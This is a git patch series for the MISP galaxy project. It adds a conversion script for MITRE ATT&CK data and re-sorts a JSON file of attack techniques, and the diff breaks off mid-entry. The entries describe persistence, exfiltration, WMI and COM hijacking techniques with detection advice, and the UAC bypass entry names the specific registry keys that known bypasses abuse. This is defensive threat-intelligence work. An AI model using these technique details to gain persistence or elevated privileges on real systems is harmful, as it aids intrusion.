From bdfefb4499214c3ed8ad401b7140c331c3badd27 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Sun, 9 Dec 2018 08:09:32 +0100 Subject: [PATCH 1/4] MITRE galaxy - initial conversion and migration script this is not fully working yet ! --- tools/mitre-cti/v2.0/create_mitre-galaxy.py | 156 ++++++++++++++++++++ 1 file changed, 156 insertions(+) create mode 100755 tools/mitre-cti/v2.0/create_mitre-galaxy.py diff --git a/tools/mitre-cti/v2.0/create_mitre-galaxy.py b/tools/mitre-cti/v2.0/create_mitre-galaxy.py new file mode 100755 index 0000000..6b2ccdd --- /dev/null +++ b/tools/mitre-cti/v2.0/create_mitre-galaxy.py @@ -0,0 +1,156 @@ +#!/usr/bin/env python3 +import json +import re +import os +import argparse + +parser = argparse.ArgumentParser(description='Create a couple galaxy/cluster with cti\'s intrusion-sets\nMust be in the mitre/cti/enterprise-attack/intrusion-set folder') +parser.add_argument("-p", "--path", required=True, help="Path of the mitre/cti folder") + +args = parser.parse_args() + +values = [] +misp_dir = '../../../' + + +domains = ['enterprise-attack', 'mobile-attack', 'pre-attack'] +types = ['attack-pattern', 'course-of-action', 'intrusion-set', 'malware', 'tool'] +all_data = {} # variable that will contain everything + +# read in existing data +# THIS IS FOR MIGRATION - reading the data from the enterprise-attack, mobile-attack, pre-attack +# first build a data set of the MISP Galaxy ATT&CK elements by using the UUID as reference, this speeds up lookups later on. +# at the end we will convert everything again to separate datasets +all_data_uuid = {} +for domain in domains: + for t in types: + fname = os.path.join(misp_dir, 'clusters', 'mitre-{}-{}.json'.format(domain, t)) + if os.path.exists(fname): + # print("##### {}".format(fname)) + with open(fname) as f: + file_data = json.load(f) + # print(file_data) + for value in file_data['values']: + if value['uuid'] in all_data_uuid: + # exit("ERROR: Something is really wrong, we seem to have duplicates.") + # if it already exists we need to copy over all the data manually to merge it + # on the other hand, from a manual analysis it looks like it's mostly the relations that are different + # so now we will just copy over the relationships + # actually, at time of writing the code below results in no change as the new items always contained more than the previously seen items + value_orig = all_data_uuid[value['uuid']] + if 'related' in value_orig: + for related_item in value_orig['related']: + if related_item not in value['related']: + value['related'].append(related_item) + all_data_uuid[value['uuid']] = value + +# THIS IS FOR NORMAL OPERATIONS - reading from the very old and new models - one model per type +# FIXME implement this (copy paste above or put above in function and call function) + + +# now load the MITRE ATT&CK +for domain in domains: + attack_dir = os.path.join(args.path, domain) + if not os.path.exists(attack_dir): + exit("ERROR: MITRE ATT&CK folder incorrect") + + with open(os.path.join(attack_dir, domain + '.json')) as f: + attack_data = json.load(f) + + for item in attack_data['objects']: + if item['type'] not in types: + continue + + # print(json.dumps(item, indent=2, sort_keys=True, ensure_ascii=False)) + try: + # build the new data structure + value = {} + uuid = re.search('--(.*)$', item['id']).group(0)[2:] + # item exist already in the all_data set + update = False + if uuid in all_data_uuid: + value = all_data_uuid[uuid] + + if 'description' in item: + value['description'] = item['description'] + value['value'] = item['name'] + ' - ' + item['external_references'][0]['external_id'] + value['meta'] = {} + value['meta']['refs'] = [] + value['uuid'] = re.search('--(.*)$', item['id']).group(0)[2:] + + if 'aliases' in item: + value['meta']['synonyms'] = item['aliases'] + if 'x_mitre_aliases' in item: + value['meta']['synonyms'] = item['x_mitre_aliases'] + + for reference in item['external_references']: + if 'url' in reference and reference['url'] not in value['meta']['refs']: + value['meta']['refs'].append(reference['url']) + if 'external_id' in reference: + value['meta']['external_id'] = reference['external_id'] + + if 'kill_chain_phases' in item: # many (but not all) attack-patterns have this + value['meta']['kill_chain'] = [] + for killchain in item['kill_chain_phases']: + value['meta']['kill_chain'].append(killchain['kill_chain_name'] + ':enterprise-attack:' + killchain['phase_name']) + if 'x_mitre_data_sources' in item: + value['meta']['mitre_data_sources'] = item['x_mitre_data_sources'] + if 'x_mitre_platforms' in item: + value['meta']['mitre_platforms'] = item['x_mitre_platforms'] + + # relationships will be build separately afterwards + value['type'] = item['type'] # remove this before dump to json + # print(json.dumps(value, sort_keys=True, indent=2)) + + all_data_uuid[uuid] = value + + except Exception as e: + print(json.dumps(item, sort_keys=True, indent=2)) + import traceback + traceback.print_exc() + + # process the 'relationship' type as we now know the existence of all ATT&CK uuids + for item in attack_data['objects']: + if item['type'] != 'relationship': + continue + # print(json.dumps(item, indent=2, sort_keys=True, ensure_ascii=False)) + + rel_type = item['relationship_type'] + dest_uuid = re.findall(r'--([0-9a-f-]+)', item['target_ref']).pop() + source_uuid = re.findall(r'--([0-9a-f-]+)', item['source_ref']).pop() + tags = [] + + # add the relation in the defined way + rel_source = { + "dest-uuid": dest_uuid, + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": rel_type + } + if 'relation' not in all_data_uuid[source_uuid]: + all_data_uuid[source_uuid]['relation'] = [] + if rel_source not in all_data_uuid[source_uuid]['relation']: + all_data_uuid[source_uuid]['relation'].append(rel_source) + + # LATER find the opposite word of "rel_type" and build the relation in the opposite direction + +# dump all_data to their respective file +for t in types: + fname = os.path.join(misp_dir, 'clusters', 'mitre-{}.json'.format(t)) + if not os.path.exists(fname): + exit("File {} does not exist, this is unexpected.".format(fname)) + # print("##### {}".format(fname)) + with open(fname) as f: + file_data = json.load(f) + + file_data['values'] = [] + for item in all_data_uuid.values(): + if item['type'] != t: + continue + item.pop('type', None) + file_data['values'].append(item) + + with open(fname, 'w') as f: + json.dump(file_data, f, indent=2, sort_keys=True, ensure_ascii=False) + f.write('\n') # only needed for the beauty and to be compliant with jq_all_the_things From 39ff6b4bbc69326407d4081aa10bd8045c533427 Mon Sep 17 00:00:00 2001 From: Christophe Vandeplas Date: Sun, 9 Dec 2018 08:32:48 +0100 Subject: [PATCH 2/4] MITRE sorted While dicts were sorted, lists were not yet sorted. This current sort algo is not yet the best, but is a good start. A good sort is needed for better comparison afterwards with automated tools. In a next stage tt will also be needed in the validate_all scripts. --- clusters/mitre-attack-pattern.json | 7582 +++++++++++++------------- clusters/mitre-course-of-action.json | 1944 +++---- clusters/mitre-intrusion-set.json | 1896 +++---- clusters/mitre-malware.json | 3882 ++++++------- clusters/mitre-tool.json | 842 +-- 5 files changed, 8073 insertions(+), 8073 deletions(-) diff --git a/clusters/mitre-attack-pattern.json b/clusters/mitre-attack-pattern.json index 4b6dddf..eb02ca4 100644 --- a/clusters/mitre-attack-pattern.json +++ b/clusters/mitre-attack-pattern.json @@ -9,6 +9,321 @@ "type": "mitre-attack-pattern", "uuid": "dcb864dc-775f-11e7-9fbb-1f41b4996683", "values": [ + { + "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders.[[Citation: TechNet Autoruns]] Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [[Command and Control]], learning details about the environment through [[Discovery]], and [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1060", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "http://msdn.microsoft.com/en-us/library/aa376977" + ], + "uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + "value": "Registry Run Keys / Start Folder" + }, + { + "description": "Data exfiltration is performed over the [[Command and Control]] channel. Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring", + "meta": { + "mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1041", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "92d7da27-2d91-488e-a00c-059dc162766d" + }, + "value": "Exfiltration Over Command and Control Channel" + }, + { + "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring", + "meta": { + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1094", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + "value": "Custom Command and Control Protocol" + }, + { + "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1039" + ], + "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + "value": "Data from Network Shared Drive" + }, + { + "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.[[Citation: Dell WMI Persistence]] Examples of events that may be subscribed to are the wall clock time or the computer's uptime.[[Citation: Kazanciyan 2014]] Several threat groups have reportedly used this technique to maintain persistence.[[Citation: Mandiant M-Trends 2015]]\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: WMI Objects", + "meta": { + "mitre_data_sources": [ + "WMI Objects" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1084", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", + "https://www.secureworks.com/blog/wmi-persistence", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf" + ], + "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4" + }, + "value": "Windows Management Instrumentation Event Subscription" + }, + { + "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nContributors: Itzik Kotler, SafeBreach", + "meta": { + "mitre_data_sources": [ + "User interface", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1011" + ], + "uuid": "51ea26b1-ff1e-4faa-b1a0-1114cd298c87" + }, + "value": "Exfiltration Over Other Network Medium" + }, + { + "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.[[Citation: Wikipedia OSI]] Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), and transport layer protocols, such as the User Datagram Protocol (UDP).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts;[[Citation: Microsoft ICMP]] however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.\n\nDetection: Analyze network traffic for ICMP messages or other protocols that contain abnormal data or are not normally seen within or exiting the network.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X", + "meta": { + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Linux", + "Windows 10", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1095", + "http://support.microsoft.com/KB/170292", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b" + }, + "value": "Standard Non-Application Layer Protocol" + }, + { + "description": "Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.\n\nOne such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.certutil.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nContributors: Matthew Demaske, Adaptforward", + "meta": { + "mitre_data_sources": [ + "File monitoring", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1140", + "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/" + ], + "uuid": "673c3a5d-0e07-42bb-8e6f-9aa2322987d8" + }, + "value": "Deobfuscate/Decode Files or Information" + }, + { + "description": "Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.[[Citation: enigma0x3 Fileless UAC Bypass]]\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.[[Citation: enigma0x3 sdclt app paths]][[Citation: enigma0x3 sdclt bypass]]\n\nAnalysts should monitor these Registry settings for unauthorized changes.\n\nPlatforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10\n\nData Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters\n\nEffective Permissions: Administrator\n\nContributors: Stefan Kanthak, Casey Smith", + "meta": { + "mitre_data_sources": [ + "System calls", + "Process monitoring", + "Authentication logs", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2012", + "Windows 7", + "Windows 8", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1088", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://github.com/hfiref0x/UACME", + "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", + "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", + "https://msdn.microsoft.com/en-us/library/ms679687.aspx", + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/", + "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", + "http://www.pretentiousname.com/misc/win7%20uac%20whitelist2.html", + "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", + "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + ], + "uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + "value": "Bypass User Account Control" + }, + { + "description": "When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access.[[Citation: Microsoft Change Default Programs]][[Citation: Microsoft File Handlers]] Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nDetection: Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process. \n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to [[Discovery]] actions or other techniques.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nContributors: Stefan Kanthak", + "meta": { + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1042", + "http://msdn.microsoft.com/en-us/library/bb166549.aspx", + "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs" + ], + "uuid": "68c96494-1a50-403e-8844-69a6af278c68" + }, + "value": "Change Default File Association" + }, { "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis", "meta": { @@ -81,30 +396,98 @@ "value": "Standard Application Layer Protocol" }, { - "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents[[Citation: AppleDocs Launch Agent Daemons]][[Citation: OSX Keydnap malware]][[Citation: Antiquated Mac Malware]]. These launch agents have property list files which point to the executables that will be launched[[Citation: OSX.Dok Malware]].\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories [[Citation: Sofacy Komplex Trojan]] [[Citation: Methods of Mac Malware Persistence]]. The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in[[Citation: OSX Malware Detection]][[Citation: OceanLotus for OS X]]. They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).\n\nDetection: Monitor Launch Agent creation through additional plist files and utilities such as Objective-See’s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", + "description": "Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", "meta": { "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" + "Process monitoring", + "Process command-line parameters" ], "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", "MacOS", "OS X" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1159", - "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", - "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", - "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", - "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", - "https://www.synack.com/wp-content/uploads/2016/03/RSA%20OSX%20Malware.pdf" + "https://attack.mitre.org/wiki/Technique/T1016" ], - "uuid": "12f399b0-d9de-4f60-a262-22c21baae140" + "uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0" }, - "value": "Launch Agent" + "value": "System Network Configuration Discovery" + }, + { + "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. \n\n===Windows===\n\nUtilities and commands that acquire this information include netstat, \"net use,\" and \"net session\" with Net.\n\n===Mac and Linux ===\n\nIn Mac and Linux, netstat and lsof can be used to list current connections. who -a and w can be used to show which users are currently logged in, similar to \"net session\".\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", + "meta": { + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows Server 2003", + "Windows Server 2008", + "Windows Server 2012", + "Windows XP", + "Windows 7", + "Windows 8", + "Windows Server 2003 R2", + "Windows Server 2008 R2", + "Windows Server 2012 R2", + "Windows Vista", + "Windows 8.1", + "Windows 10", + "Linux", + "MacOS", + "OS X" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1049" + ], + "uuid": "7e150503-88e7-4861-866b-ff1ac82c4475" + }, + "value": "System Network Connections Discovery" + }, + { + "description": "The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.[[Citation: Microsoft Component Object Model]] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.[[Citation: GDATA COM Hijacking]] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.\n\nDetection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.[[Citation: Endgame COM Hijacking]] Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, DLL monitoring, Loaded 